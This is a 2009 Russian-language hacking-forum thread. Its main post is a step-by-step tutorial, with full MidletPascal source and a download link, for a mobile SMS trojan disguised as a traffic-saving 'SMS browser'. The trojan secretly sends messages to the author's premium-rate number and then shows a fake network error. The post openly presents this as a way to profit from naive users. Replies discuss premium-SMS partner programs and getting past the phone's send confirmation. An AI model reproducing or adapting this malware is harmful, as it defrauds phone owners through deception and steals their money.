SMS-Троян или "Заработай на СМС"

Тема в разделе "Статьи", создана пользователем Amiаlс, 18 июл 2009.

  1. Amiаlс
    Amiаlс Новичок
    Симпатии:
    1
    Автор: VaZoNeZ / H.A.T.

    Каждый приличный и уважающий себя кодер должен начать зарабатывать на своем мастерстве. Вот мы с тобой и начнем косить американских президентов на наивных пользователях Интернета.
    Ты наверно слышал о такой штуке как СМС-биллинг. Наивные юзеры шлют смс с каким-нибуть пожеланием или текстом как в чат, или заказывают контент.
    Искать тебе биллинги прийдется, все уже собрано в одном месте - http://allpublication.ru/sms/ . Выбирай любую и регистрируйся.
    Надеюсь, ты уже сбегал и зарегался, а заодно получил свой префикс - тот текст, который мы будем слать в СМС-ке.

    Подготовка к кодингу

    План - создание трояна для скрытой отсылки смс на платные номера (твои smile Я решил маскировать зловреда под СМС-браузер (ничего не напоминает ?)
    Важным пунктом в сегодяшнем меню будет софт для кодинга. Надеюсь ты знаешь, что программы и игры для телефонов (мидлеты) пишутся на языке Java.
    Но мы с тобой не будем учить новый ЯП, а воспользуемся простым решением - MidletPascal. Это обычный паскаль, но для телефона, в котором встроены
    готовые очень полезные функции. Скачать его можно с официального сайта проги ( http://www.midletpascal.com/ ).
    Будем считать, что ты уже скачал и установил MidletPascal.

    The Trojan Begins


    Для начала создавай новый проект (File -> New Project). В имя проэкта вбивай что-то наподобие SMS_Trojan, в окошке выбирай пункт "Default MIDP project"
    и жми "Create". В окне кода появится начальный исходник мидлета:
    Код:
    program SMS_Trojan;  
    begin  
    drawText('Hello world!', 0, 0);  
    repaint;  
    delay(2000);  
    end. 
    Объяснение этих функций есть в справке, потому не будем тратить время на это smile Убирай все от begin до end.
    В справке есть готовый пример отсылки смс:
    Код:
    begin  
    if not SmsStartSend('sms://+5550000', 'Hello!') then Halt;  
    while SmsIsSending do // wait for the message to be sent  
    Delay(100);  
    if not SmsWasSuccessfull then Halt; // check if the message was sent successfully  
    end. 
    SmsStartSend - функция отправки СМС
    SmsIsSending - проверяет, осылается соощение или нет
    SmsWasSuccessfull - проверяет, было ли успешо отослано последнее соощение
    Delay - останавливает исполнение мидлета на указанное количество миллисекунд

    Этим примером лучше не пользоваться из-за его простоты, т.к. жертва почувствует подвох, когда прога просто вырубится.
    А нам нужно, чтобы все было красиво smile Поэтому мы создадим интерфейс для жертвы, чтобы она чувствовала себя уютно, пока ее деньги идут нам.
    ГУИ:
    - Главное меню с 4 пунктами
    - Пункты "Справка" и "Про программу"

    Мы будем использовать такие константы в мидлете:
    Код:
    const  
    SendErr='Ошибка 109. Возможно не настроена сеть или оператор отключил службу SMS. Попробуйте воспользоваться услугой позже.';  
    AboutStr='Made by Butlik, 2009';  
    HelpStr='С помощью браузера FastNet вы сможете экономить 95% трафика, так как интернет будет работать через систему СМС.';  
    NUMBERS=1; 
    SendErr - Сообщение, которое появится после удачной отсылки всех СМС
    AboutStr - Какой-то левый копирайт smile Что же это будет за мега браузер, если в нем не будет неписано чей он. Это будет подозрительно.
    HelpStr - Справка wink Тут должна работать фантазия.
    NUMBERS - количество номеров, на которые будет идти отправка СМС.

    Мы будем использовать такие переменные в мидлете:
    Код:
    var  
    numb,text:array[1..NUMBERS] of string; // массивы строк с текстами сообщений и номерами  
    p:array[1..4] of integer; // массив хэндлов пунктов меню  
    m:array[1..4] of string; // массив строк с названиями пунктов меню  
    clicked,  
    callmenu,  
    exit : command; // команды для софт клавиш  
    label_id, // хэндл надписей (справки, ошибки и т.д.)  
    i,d : integer; // счетчики 
    Создадим процедуру динамического создания главного меню:
    Код:
    /----------------------------------------------------------------------------------------------------------------------------------------  
    procedure mainmenu;  
    var  
    click: Command; // элемент "command" - по сути это назначение кнопки для софт клавиши  
    begin  
    showMenu('Выбери действие', CH_IMPLICIT); // покажем меню с заголовком "Выбери действие", тип - CH_IMPLICIT - обычное меню (подробнее в справке)  
    
    for d:=1 to 4 do // в этом цикле мы  
    p[d] := menuAppendString(m[d]); // добавляем в меню пункты с названиями из массива строк m, и сохраняем ихние хэндлы в масив integer'ов p  
    
    repeat  
    delay(100); // пауза  
    
    click := GetClickedCommand; // получаем нажатую клавишу  
    
    until click <> EmptyCommand; // в этом цикле мы ждем, пока будет нажата любая софт клавиша, для которой есть элемент "command"  
    end;  
    //---------------------------------------------------------------------------------------------------------------------------------------- 
    
    Теперь напишем сердце троя - процедура отсылки СМС:
    Код:
    //----------------------------------------------------------------------------------------------------------------------------------------  
    procedure SendMoneyToMe;  
    begin  
    for d:=1 to NUMBERS do // цикл отсылки  
    begin  
    if not SmsStartSend('sms://'+numb[d], text[d]) // попытка послать собощение  
    
    then Halt; // если она была неудачная, то вырубимся  
    
    while SmsIsSending do // пока смс-ка посылается  
    Delay(100); // ждем <img src="http://s32.ucoz.net/sm/1/smile.gif" border="0" align="absmiddle" alt="smile">  
    end;  
    end;  
    //---------------------------------------------------------------------------------------------------------------------------------------- 
    
    Теперь напишем основу троя (для понимания разбита на части) :
    Код:
    //----------------------------------------------------------------------------------------------------------------------------------------  
    m[1]:='Начать роботу'; // Это все  
    m[2]:='Про программу'; // заполнение массива  
    m[3]:='Справка'; // пунктов  
    m[4]:='Выход'; // меню  
    
    Numb[1]:='1234'; // А это заполнение массивов с номерами  
    text[1]:='7777'; // и текстами сообщений  
    
    Repeat // здесь главный начинается цикл, в котором проверяем, была ли нажата кнопка "Выход"  
    mainmenu; // вызоваем функцию создания меню  
    
    for d:=1 to 4 do // в том цикле мы определяем, какой пункт меню был выбран  
    if MenuIsSelected(p[d]) then i:=d; // с помощью функции MenuIsSelected  
    
    ClearForm; // полностью очищаем форму от всех менюшек, лэйблов и т.д.  
    
    // в зависимости от i, выбираем, какое действие нам сделать  
    
    if i=1 then // если был выбран пункт меню "Начать роботу"  
    begin  
    SendMoneyToMe; // отсылаем смс-ки  
    label_id := FormAddString(SendErr); //показываем ошибку <img src="http://s32.ucoz.net/sm/1/smile.gif" border="0" align="absmiddle" alt="smile">  
    end;  
    
    if i=2 then // если был выбран пункт меню "Про программу"  
    label_id := FormAddString(AboutStr); // показываем строку с about'ом  
    
    if i=3 then // если был выбран пункт меню "Справка"  
    label_id := FormAddString(HelpStr); // показываем строку с help'ом  
    
    if i=4 then // если был выбран пункт меню "Выход"  
    halt; // вырубаемся  
    
    ShowForm; // показываем форму  
    
    callmenu := CreateCommand('Меню', CM_SCREEN, 1); // создаем команду "Меню" для софт клавиши  
    AddCommand(callmenu); // и добавляем ее на дисплей  
    
    exit := CreateCommand('Выход', CM_EXIT, 2); // создаем команду "Выход" для софт клавиши  
    AddCommand(exit); // и добавляем ее на дисплей  
    
    clicked := GetClickedCommand; // сохраняем нажатую кнопку в переменую clicked  
    
    Repeat // цикл, в котором мидлет ожидает нажатия софт клавиши  
    
    Delay(100); // пауза  
    
    clicked := GetClickedCommand; // сохраняем нажатую кнопку в переменую clicked  
    
    If clicked = exit Then Break; // если была нажата кнопка "Выход", то выходим из этого цикла  
    
    Until clicked = callmenu; // условие - повторять, пока не нажата кнопка "Меню"  
    
    Until clicked = exit; // условие - повторять, пока не нажата кнопка "Выход"  
    
    // если мы здесь, значит юзверь все-таки нажал на "Выход"  
    
    Delay(1000); // ждем 1 секунду перед выходом  
    //----------------------------------------------------------------------------------------------------------------------------------------
    Окей, хеппи-энд. (с)

    Для особо ленивых (да, я знаю, это ты), я выложил весь проект с иконкой, скомпилиным jar и всем остальным.

    http://vazonez.at.ua/publications/SMS_Trojan.rar
    Итоги:
    - Софт на мобилу - это просто!
    - Никто тебя не ограничивает - пиши хоть игры
    - Деньги можно зарабатывать, раздавая линк с чудо-браузером

    Удачи!
    ha-team.3dn.ru
     
    Последнее редактирование модератором: 19 июл 2009
    18 июл 2009
    1 человеку нравится это.
  2. sys-dependence
    sys-dependence Новичок
    Симпатии:
    0
    1)Нужно приватные партнерки искать! иначе будешь обогащать админов легал-партнерок...
    2)как настраивать свой номер и перф в трое
    3)очепяток жесть... даже в коде умудрился очепятки допустить
     
    18 июл 2009
  3. VaZoNeZ
    VaZoNeZ Продвинутый
    Симпатии:
    8
    2)
    вот это для особо одаренных говнокомментаторов
    3) покажи где
     
    18 июл 2009
  4. sys-dependence
    sys-dependence Новичок
    Симпатии:
    0
    Хамло ты...

    я про скомпиленный яр говорю... куда он щас шлёт

    зы. <Начать РОботу>
     
    18 июл 2009
  5. VaZoNeZ
    VaZoNeZ Продвинутый
    Симпатии:
    8
    а посмотреть в хекс-редакторе ?
     
    19 июл 2009
  6. lytgeygen
    lytgeygen pacifiste maniaque Новичок
    Симпатии:
    59
    sys-dependence,
    не парься и не запускай скомпилируемый файл (разве охота тратить деньги?)
    и харе флудить, нормально разве нельзя обсуждать тему ?

    Amiаlс, +1 :)
     
    19 июл 2009
  7. network-1
    network-1 Новичок
    Симпатии:
    0
    18 авг 2009
  8. 1. Перед отправкой смс просит подтверждение, как это обойти?
    2. Пишет смс отправлен, но не приходит на отправленый номер, в чём проблема?
     
    13 сен 2009
  9. onthar
    onthar Продвинутый
    Симпатии:
    224
    исходников мало?
     
    1 дек 2009
  10. Sector009
    Sector009 Новичок
    Симпатии:
    0
    На nokia n72 есть прога?
     
    16 дек 2009
  11. VaZoNeZ
    VaZoNeZ Продвинутый
    Симпатии:
    8
    Линк сдох, но первоисточник жиф)
    http://vazonez.org.ua/lib/35-coding/49-sms-trojan

    Никак, запроса подтверждения не будет только если прошивка тела пропатченная.
     
    16 дек 2009
Загрузка...